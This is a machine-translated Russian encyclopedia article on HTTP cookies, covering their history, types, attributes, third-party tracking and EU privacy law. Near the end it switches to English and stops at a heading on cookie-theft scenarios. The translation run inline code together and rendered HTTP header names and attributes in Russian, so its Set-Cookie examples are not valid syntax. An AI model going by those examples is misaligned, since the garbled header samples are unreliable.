Файлы cookie HTTP (также называемые веб-файлами cookie , Интернет-файлами cookie , файлами cookie браузера или просто файлами cookie ) представляют собой небольшие блоки данных, создаваемые веб-сервером , когда пользователь просматривает веб -сайт , и размещаемые на компьютере пользователя или другом устройстве веб-браузером пользователя . Файлы cookie размещаются на устройстве, используемом для доступа к веб-сайту, и во время сеанса на устройстве пользователя может быть размещено более одного файла cookie.
Файлы cookie выполняют полезные, а иногда и важные функции в Интернете . Они позволяют веб-серверам хранить информацию о состоянии (например, товары, добавленные в корзину в интернет-магазине ) на устройстве пользователя или отслеживать активность пользователя в Интернете (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлое ). [1] Их также можно использовать для сохранения информации, которую пользователь ранее ввел в поля формы , такой как имена, адреса, пароли и номера платежных карт, для последующего использования.
Файлы cookie аутентификации обычно используются веб-серверами для проверки того, что пользователь вошел в систему и с какой учетной записью он вошел в систему. Без файлов cookie пользователям необходимо будет аутентифицировать себя, входя в систему на каждой странице, содержащей конфиденциальную информацию, к которой они хотят получить доступ. . Безопасность файла cookie аутентификации обычно зависит от безопасности выдающего его веб-сайта и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie . Уязвимости безопасности могут позволить злоумышленнику прочитать данные файла cookie , использовать их для получения доступа к пользовательским данным или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и межсайтовый скриптинг ). подделка запроса на сайт для примера). [2]
Отслеживающие файлы cookie , и особенно сторонние файлы cookie, обычно используются в качестве способа составления долгосрочных записей истории посещений отдельных лиц — потенциальная проблема конфиденциальности , которая побудила законодателей Европы [3] и США принять меры в 2011 году. [4] [5] Европейское законодательство требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « информированное согласие » пользователей перед сохранением несущественных файлов cookie на их устройствах.
Термин «cookie» был придуман программистом веб-браузера Лу Монтулли . Оно произошло от термина «волшебный cookie» , который представляет собой пакет данных, который программа получает и отправляет обратно в неизмененном виде, используемый программистами Unix . [6] [7]
Волшебные файлы cookie уже использовались в вычислениях, когда в июне 1994 года программисту Лу Монтулли пришла в голову идея использовать их в веб-коммуникациях. [8] В то время он был сотрудником компании Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI. . Винт Серф и Джон Кленсин представляли MCI в технических переговорах с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape вместо этого найти способ хранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок . [9] [10]
В том же году вместе с Джоном Джаннандреа Монтулли написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 года, [11] [12] поддерживала файлы cookie. [10] Первое использование файлов cookie (вне лабораторных исследований) заключалось в проверке того, посещали ли посетители веб-сайта Netscape этот сайт. Монтулли подал заявку на патент на технологию файлов cookie в 1995 году, который был выдан в 1998 году. [13] Поддержка файлов cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года. [14]
В то время появление файлов cookie не было широко известно общественности. В частности, файлы cookie принимались по умолчанию, и пользователи не были уведомлены об их наличии. [ нужна цитата ] Общественность узнала о файлах cookie после того, как Financial Times опубликовала о них статью 12 февраля 1996 года. [15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах. [2]
Разработка формальных спецификаций файлов cookie уже продолжается. В частности, первые обсуждения официальной спецификации начались в апреле 1995 года в списке рассылки www-talk . В рамках Internet Engineering Task Force (IETF) была сформирована специальная рабочая группа . Два альтернативных предложения по введению состояния в HTTP-транзакции были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109 в феврале 1997 года. В ней указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию. [16] В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 о сторонних файлах cookie не была соблюдена Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года.
В RFC 2965 добавлено Set-Cookie2 поле заголовка , которое неофициально стало называться «cookie-файлами в стиле RFC 2965», в отличие от исходного Set-Cookieполя заголовка, которое называлось «cookie-файлами в стиле Netscape». Однако [17] [18] Set-Cookie2 использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. [19] Ни один современный браузер не распознает Set-Cookie2поле заголовка. [20]
Сеансовый файл cookie (также известный как файл cookie в памяти , временный файл cookie или непостоянный файл cookie ) существует только во временной памяти, пока пользователь перемещается по веб-сайту. [21] Срок действия файлов cookie сеанса истекает или они удаляются, когда пользователь закрывает веб-браузер. [22] Сеансовые файлы cookie идентифицируются браузером по отсутствию назначенной для них даты истечения срока действия.
Срок действия постоянного файла cookie истекает в определенную дату или по истечении определенного периода времени. В течение срока действия постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, рекламу). ).
По этой причине постоянные файлы cookie иногда называют файлами cookie отслеживания [ нужна ссылка ] , поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя просматривать веб-страницы в течение длительного периода времени. Постоянные файлы cookie также используются по таким причинам, как сохранение входа пользователей в свои учетные записи на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении.
Безопасный файл cookie может передаваться только через зашифрованное соединение (т. е. HTTPS ). Их нельзя передавать по незашифрованным соединениям (т. е. HTTP ). Это снижает вероятность кражи файлов cookie в результате подслушивания . Файл cookie становится безопасным путем добавления Secureфлага к файлу cookie.
Доступ к файлу cookie только для http невозможен с помощью клиентских API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтового скриптинга (XSS). [23] Однако файл cookie остается уязвимым для атак межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Файлу cookie присваивается эта характеристика путем добавления HttpOnlyк нему флага.
В 2016 году в Google Chrome версии 51 был представлен [24] новый вид файлов cookie с атрибутом SameSiteс возможными значениями Strict, Laxили None. [25] При использовании атрибута SameSite=Strictбраузеры будут отправлять файлы cookie только в целевой домен, который совпадает с исходным доменом. Это эффективно смягчит атаки с подделкой межсайтовых запросов (CSRF). [26] При использовании SameSite=Laxбраузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонних файлов cookie (внутри iframe). Атрибут SameSite=Noneпозволяет использовать сторонние (межсайтовые) файлы cookie, однако для большинства браузеров требуется безопасный атрибут для файлов cookie SameSite=None. [27]
Файл cookie того же сайта включен в новый проект RFC «Файлы cookie: механизм управления состоянием HTTP» [28] для обновления RFC 6265 (в случае одобрения).
Chrome, Firefox и Edge начали поддерживать файлы cookie одного сайта. [29] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как будто SameSite=None, что позволит всем веб-сайтам и приложениям работать как раньше. Google намеревался изменить это значение по умолчанию на SameSite=LaxChrome 80, выпуск которого запланирован на февраль 2020 года, [30] но из-за потенциальной поломки тех приложений/веб-сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, а также из-за обстоятельств COVID-19 , Google отложил это изменение до Chrome 84. [31] [32]
Суперкуки — это файлы cookie, источником которых является домен верхнего уровня (например, ) или общедоступный суффикс (например, ) . Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например ..com.co.ukexample.com
Суперкуки могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить суперкуки и потенциально нарушить или выдать себя за законные запросы пользователей на другой веб-сайт, который использует тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, суперкуки с источником .com, могут злонамеренно повлиять на запрос, отправленный на example.com, даже если куки-файл исходит не от example.com. Это может быть использовано для подделки входа в систему или изменения информации о пользователе.
Список общедоступных суффиксов [33] помогает снизить риск, который представляют суперкуки. Список общедоступных суффиксов — это инициатива нескольких поставщиков, целью которой является предоставление точного и актуального списка суффиксов доменных имен. Более старые версии браузеров могут не иметь обновленного списка и поэтому будут уязвимы для суперкуки из определенных доменов.
Термин «суперкуки» иногда используется для обозначения технологий отслеживания, которые не используют файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма суперкуки : синхронизация файлов cookie, которая порождала файлы cookie MUID (уникальный идентификатор компьютера), и файлы cookie ETag . [34] Из-за внимания средств массовой информации Microsoft позже отключила этот код. [35] В сообщении в блоге 2021 года Mozilla использовала термин «суперкуки» для обозначения использования кеша браузера как средства отслеживания пользователей на разных сайтах. [36]
Зомби -куки — это данные и код, которые были размещены веб-сервером на компьютере посетителя или другом устройстве в скрытом месте за пределами выделенного места хранения куки-файлов веб-браузера посетителя и которые автоматически воссоздают HTTP-куки-файл как обычный куки-файл после исходный файл cookie был удален. Файл cookie-зомби может храниться в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и других местах на стороне клиента и даже на стороне сервера, и когда в одном из мест обнаруживается отсутствие, отсутствующий экземпляр воссоздается с помощью код JavaScript, использующий данные, хранящиеся в других местах. [37] [38]
На веб-сайте появляется стена файлов cookie и информирует пользователя об использовании файлов cookie на веб-сайте. У него нет возможности отклонения, и веб-сайт недоступен без файлов cookie отслеживания.
Файл cookie состоит из следующих компонентов: [39] [40] [41]
Secureи HttpOnly).Первоначально файлы cookie были созданы для того, чтобы предоставить пользователям возможность записывать товары, которые они хотят приобрести, при навигации по веб-сайту (виртуальная корзина для покупок или корзина для покупок ). [9] [10] Однако сегодня содержимое корзины пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь к какой корзине покупок привязан, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса (обычно длинную строку случайных букв и цифр). Поскольку файлы cookie отправляются на сервер при каждом запросе клиента, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу веб-сайта, что позволяет серверу узнать, какую корзину покупок отображать пользователю.
Еще одно популярное использование файлов cookie — вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.
Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает объем личной информации о каждом пользователе, которую веб-сайт может сохранить, практически безграничным — веб-сайт не ограничен ограничениями относительно размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в сеансовых файлах cookie невелик и требует небольшой пропускной способности.
Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать этому пользователю релевантный контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.
Многие веб-сайты используют файлы cookie для персонализации на основе предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет его обратно в браузер. Таким образом, каждый раз, когда пользователь заходит на страницу веб-сайта, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google однажды использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы пользователи могли устанавливать предпочтения просмотра, например цвета веб-страницы.
Отслеживающие файлы cookie используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или поле Referer заголовка HTTP- запроса, но файлы cookie обеспечивают большую точность. Это можно продемонстрировать следующим образом:
Анализируя этот файл журнала, можно узнать, какие страницы посещал пользователь, в какой последовательности и как долго.
Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. Газета Wall Street Journal обнаружила, что на пятидесяти крупнейших веб-сайтах Америки было установлено в среднем шестьдесят четыре технологии отслеживания на компьютерах, в результате чего в общей сложности было создано 3180 файлов отслеживания. [42] Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.
Файлы cookie представляют собой произвольные фрагменты данных, обычно выбираемые и сначала отправляемые веб-сервером, а затем сохраняемые на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, добавляя состояния (память о предыдущих событиях) в HTTP -транзакции без сохранения состояния . Без файлов cookie каждый запрос веб-страницы или компонента веб-страницы был бы изолированным событием, практически не связанным со всеми другими просмотрами страниц, совершаемыми пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если не установлен флаг файла cookie HttpOnly, в этом случае файл cookie не может быть изменен с помощью языков сценариев).
Спецификации файлов cookie [43] [44] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:
Файлы cookie устанавливаются с использованием Set-Cookie поля заголовка , отправляемого в ответе HTTP от веб-сервера. Это поле заголовка указывает веб-браузеру хранить файл cookie и отправлять его обратно при будущих запросах на сервер (браузер будет игнорировать это поле заголовка, если он не поддерживает файлы cookie или отключил файлы cookie).
Например, браузер отправляет свой первый HTTP-запрос на домашнюю страницу www.example.orgвеб-сайта:
GET /index.html HTTP / 1.1 Хост : www.example.org ...Сервер отвечает двумя Set-Cookieполями заголовка:
HTTP / 1.0 200 OK Тип контента : text/html Set-Cookie : theme=light Set-Cookie : sessionToken=abc123; Срок действия истекает=Ср, 09 июня 2021 г., 10:18:14 GMT ...HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также предписывает браузеру установить два файла cookie. Первый, theme , считается файлом cookie сеанса, поскольку у него нет атрибута Expiresили Max-Age. Сеансовые файлы cookie предназначены для удаления браузером при его закрытии. Второй, sessionToken , считается постоянным файлом cookie , поскольку он содержит Expiresатрибут, который указывает браузеру удалить файл cookie в определенную дату и время.
Далее браузер отправляет еще один запрос на посещение spec.htmlстраницы на сайте. Этот запрос содержит Cookieполе заголовка, содержащее два файла cookie, которые сервер поручил браузеру установить:
GET /spec.html HTTP / 1.1 Хост : www.example.org Файл cookie : theme=light; sessionToken=abc123 …Таким образом, сервер узнает, что этот HTTP-запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включив дополнительные Set-Cookieполя заголовков в ответ HTTP, чтобы дать браузеру указание добавить новые файлы cookie, изменить существующие файлы cookie или удалить существующие файлы cookie. Чтобы удалить файл cookie, сервер должен включить Set-Cookieполе заголовка с датой истечения срока действия в прошлом.
Значение файла cookie может состоять из любого печатаемого символа ASCII! ( через Unicode ) ~, за исключением символов и и пробелов . В имени файла cookie исключены те же символы, а также символ , поскольку он является разделителем между именем и значением. Стандарт файлов cookie RFC 2965 является более ограничительным, но не реализуется браузерами. \u0021\u007E,;=
Термин «крошка файла cookie» иногда используется для обозначения пары «имя-значение» файла cookie. [45]
Файлы cookie также могут устанавливаться с помощью языков сценариев, таких как JavaScript , которые запускаются в браузере. В JavaScript document.cookieдля этой цели используется объект . Например, инструкция document.cookie = "temperature=20"создает файл cookie с именем температуры и значением 20 . [46]
Помимо имени и значения файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты файлов cookie в запросы к серверу — они отправляют только имя и значение файла cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда следует удалить файл cookie, заблокировать его или отправить файл cookie на сервер.
Атрибуты Domainи Pathопределяют область действия файла cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По соображениям безопасности файлы cookie можно устанавливать только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, веб-сайт example.orgне может установить файл cookie с доменом, foo.comпоскольку это позволит веб-сайту example.orgконтролировать файлы cookie домена foo.com.
Если файлы cookie Domainи Pathатрибуты не указаны сервером, по умолчанию они используют домен и путь к запрошенному ресурсу. [47] Однако в большинстве браузеров существует разница между набором файлов cookie foo.comбез домена и файлом cookie с foo.comдоменом. В первом случае файл cookie будет отправляться только для запросов к foo.com, также известный как файл cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). [48] [49] Заметным исключением из этого общего правила является Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), который всегда отправляет файлы cookie в поддомены независимо от того, был ли файл cookie установлен с помощью или без домена. [50]
Ниже приведен пример некоторых Set-Cookieполей заголовка в HTTP-ответе веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в docs.foo.comсубдомене:
HTTP / 1.0 200 ОК Set-Cookie : LSID=DQAAAK…Eaem_vYg; Путь=/аккаунты; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst; Домен=.foo.com; Путь=/; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; HttpOnly Set-Cookie : SSID=Ap4P…GTEq; Домен=foo.com; Путь=/; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; Только HTTP …Первый файл cookie LSIDне имеет Domainатрибута и имеет Pathатрибут, равный /accounts. Это указывает браузеру использовать файл cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен является производным от домена запроса). Два других файла cookie HSIDи SSIDбудут использоваться, когда браузер запрашивает любой поддомен по .foo.comлюбому пути (например www.foo.com/bar, ). Точка в начале не является обязательной в последних стандартах, но ее можно добавить для совместимости с реализациями на основе RFC 2109. [51]
Атрибут Expiresопределяет конкретную дату и время, когда браузер должен удалить файл cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT, или в форме Wdy, DD Mon YY HH:MM:SS GMTдля значений YY, где YY больше или равно 0 и меньше или равно 69. [52]
В качестве альтернативы Max-Ageатрибут можно использовать для установки срока действия файла cookie в будущем в секундах относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех Set-Cookieполей заголовка, которые были получены с веб-сайта после входа пользователя в систему:
HTTP / 1.0 200 ОК Set-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Срок действия истекает = вторник, 15 января 2013 г., 21:47:38 по Гринвичу; Путь=/; Домен=.example.com; HttpOnly Set-Cookie : made_write_conn=1295214458; Путь=/; Domain=.example.com Set-Cookie : reg_fb_gate=deleted; Срок действия истекает = четверг, 1 января 1970 г., 00:00:01 по Гринвичу; Путь=/; Домен=.example.com; HttpOnlyСрок действия первого файла cookie, lu, истекает где-то 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второй файл cookie made_write_connне имеет срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закроет браузер. reg_fb_gateЗначение третьего файла cookie изменено на «удален» , срок действия которого уже истек. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже прошел. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookieполе соответствуют значениям, использованным при создании файла cookie.
По состоянию на 2016 год [update]Internet Explorer не поддерживал файлы Max-Age. [53] [54]
Атрибуты Secureи HttpOnlyне имеют связанных значений. Скорее, наличие только имен их атрибутов указывает на то, что их поведение должно быть включено.
Этот Secureатрибут предназначен для того, чтобы передача файлов cookie ограничивалась зашифрованной передачей, предписывая браузерам использовать файлы cookie только через безопасные/зашифрованные соединения. Однако если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен при отправке пользователю с помощью атак «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.
Этот HttpOnlyатрибут предписывает браузерам не предоставлять файлы cookie через каналы, отличные от запросов HTTP (и HTTPS). Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтового сценария (техника всеобъемлющей атаки). [55]
Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты: [56]
Также существуют дополнительные инструменты для управления разрешениями на использование файлов cookie. [57] [58] [59] [60]
Файлы cookie имеют важные последствия для конфиденциальности и анонимности веб-пользователей. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же интернет-домене, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время получения этих компонентов, называются сторонними файлами cookie . Сторонний файл cookie принадлежит домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например рекламные баннеры . Это открывает возможности для отслеживания истории посещений пользователя и используется рекламодателями для показа релевантной рекламы каждому пользователю.
В качестве примера предположим, что пользователь посещает www.example.org. Этот веб-сайт содержит рекламу от ad.foxytracking.com, которая при загрузке устанавливает файл cookie, принадлежащий домену рекламы ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.comкоторый также содержит рекламу ad.foxytracking.comи устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конечном итоге оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Рекламодатель может затем использовать эти файлы cookie для создания истории посещений пользователем всех веб-сайтов, на которых есть реклама этого рекламодателя, посредством использования поля заголовка HTTP-реферера .
По состоянию на 2014 год [update]некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем 100 сторонним доменам. [61] В среднем на одном веб-сайте устанавливалось 10 файлов cookie, при этом максимальное количество файлов cookie (основных и сторонних) достигало более 800. [62]
Более старые стандарты файлов cookie, RFC 2109 [16] и RFC 2965, рекомендуют браузерам защищать конфиденциальность пользователей и по умолчанию не разрешать обмен файлами cookie между серверами. Однако новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство современных веб-браузеров содержат настройки конфиденциальности , которые могут блокировать сторонние файлы cookie. С 2020 года Apple Safari , [63] Firefox , [64] и Brave [65] по умолчанию блокируют все сторонние файлы cookie. Safari позволяет встроенным сайтам использовать API доступа к хранилищу для запроса разрешения на установку собственных файлов cookie. В мае 2020 года в Google Chrome 83 были представлены новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что сделало блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена возможность блокировать основные файлы cookie. [66] По состоянию на апрель 2024 года Chrome по умолчанию отложил блокировку сторонних файлов cookie до 2025 года. [67]
Возможность создания профилей пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется на нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах действует законодательство о файлах cookie.
Операторы веб-сайтов, которые не раскрывают потребителям информацию об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей, если использование файлов cookie будет обнаружено. Четкое раскрытие информации (например, в политике конфиденциальности ) обычно устраняет любые негативные последствия такого обнаружения файлов cookie. [68] [ не удалось проверить ]
Правительство Соединенных Штатов установило строгие правила установки файлов cookie в 2000 году после того, как стало известно, что отдел политики Белого дома по борьбе с наркотиками использовал файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу, направленную против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставило два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив сообщение, АНБ немедленно отключило файлы cookie. [69]
В 2002 году Европейский Союз принял Директиву о конфиденциальности и электронных коммуникациях (Директива о конфиденциальности электронных данных), политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на пользовательском оборудовании. [70] [71] В частности, пункт 3 статьи 5 предписывает, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена информация о том, как эти данные используются, и пользователю предоставлена возможность отрицать это. операция хранения. Директива не требует от пользователей авторизации или предоставления уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, сохранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя. [72]
В 2009 году в закон были внесены поправки Директивой 2009/136/EC, которая включала изменение в параграф 3 статьи 5. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. хранилище. [71] Определение согласия перекрестно ссылается на определение в европейском законодательстве о защите данных, сначала в Директиве о защите данных 1995 года, а затем в Общем регламенте защиты данных (GDPR). Поскольку определение согласия было усилено в тексте GDPR, это привело к повышению качества согласия, требуемого теми, кто хранит и получает доступ к такой информации, как файлы cookie, на устройствах пользователей. Однако в деле, решенном в соответствии с Директивой о защите данных, Суд Европейского Союза позже подтвердил, что предыдущий закон подразумевал такое же строгое качество согласия, как и действующий документ. [73] В дополнение к требованию согласия, которое вытекает из хранения или доступа к информации на конечном устройстве пользователя, информация во многих файлах cookie будет считаться личными данными только в соответствии с GDPR, и для обработки потребуется юридическое основание. Так было со времени принятия Директивы о защите данных 1995 года, в которой использовалось идентичное определение персональных данных, хотя GDPR в пояснительной части 30 уточняет, что сюда включены идентификаторы файлов cookie. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать каким-либо другим основанием. [74] [75]
Согласие в соответствии с GDPR и Директивой о конфиденциальности в Интернете должно соответствовать ряду условий в отношении файлов cookie. [76] Оно должно быть предоставлено свободно и недвусмысленно: предварительно отмеченные поля были запрещены как Директивой о защите данных 1995 года [73] , так и GDPR (декларативная часть 32). [77] В GDPR конкретно указано, что согласие должно быть «легко отозвать, как и дать», [77] это означает, что кнопка «отклонить все» должна быть так же легкодоступна с точки зрения кликов и видимости, как и кнопка «принять все». . [76] Оно должно быть конкретным и информированным, то есть согласие относится к конкретным целям использования этих данных, и все организации, желающие использовать это согласие, должны быть конкретно названы. [78] [79] Суд Европейского Союза также постановил, что согласие должно быть «эффективным и своевременным», то есть оно должно быть получено до того, как будут установлены файлы cookie и начнется обработка данных, а не после этого. [80]
Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». [81] Однако ученые отмечают, что обременительный характер всплывающих окон с файлами cookie проистекает из попытки продолжать использовать бизнес-модель посредством запутанных запросов, которые могут быть несовместимы с GDPR. [74]
Как академические исследования, так и регулирующие органы описывают широко распространенное несоблюдение закона. Исследование, охватывающее 10 000 веб-сайтов Великобритании, показало, что только 11,8% сайтов соблюдают минимальные юридические требования, и только 33,4% изученных веб-сайтов предоставляют механизм отклонения файлов cookie, который был так же прост в использовании, как и их принятие. [76] Исследование 17 000 веб-сайтов показало, что 84% сайтов нарушили этот критерий, а также выяснилось, что многие из них устанавливают сторонние файлы cookie без какого-либо предварительного уведомления. [82] Регулирующий орган Великобритании, Управление комиссара по информации , заявил в 2019 году, что отраслевая «Система прозрачности и согласия», разработанная группой рекламных технологий, Бюро интерактивной рекламы , «недостаточна для обеспечения прозрачности и справедливой обработки рассматриваемых персональных данных и, следовательно, также недостаточно для обеспечения свободного и осознанного согласия с соответствующими последствиями для соблюдения PECR [конфиденциальности электронной почты]». [78] Многие компании, продающие решения по соблюдению требований (платформы управления согласием), разрешают их настройку явно незаконными способами, что, как отмечают ученые, создает вопросы относительно надлежащего распределения ответственности. [83]
A W3C specification called P3P was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.[84]
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both.[85] In 2020, the European Data Protection Board, composed of all EU data protection regulators, stated that cookie walls were illegal.
In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).[86]
Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.[87][88] However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies.[89][90] Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.[76]
Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.
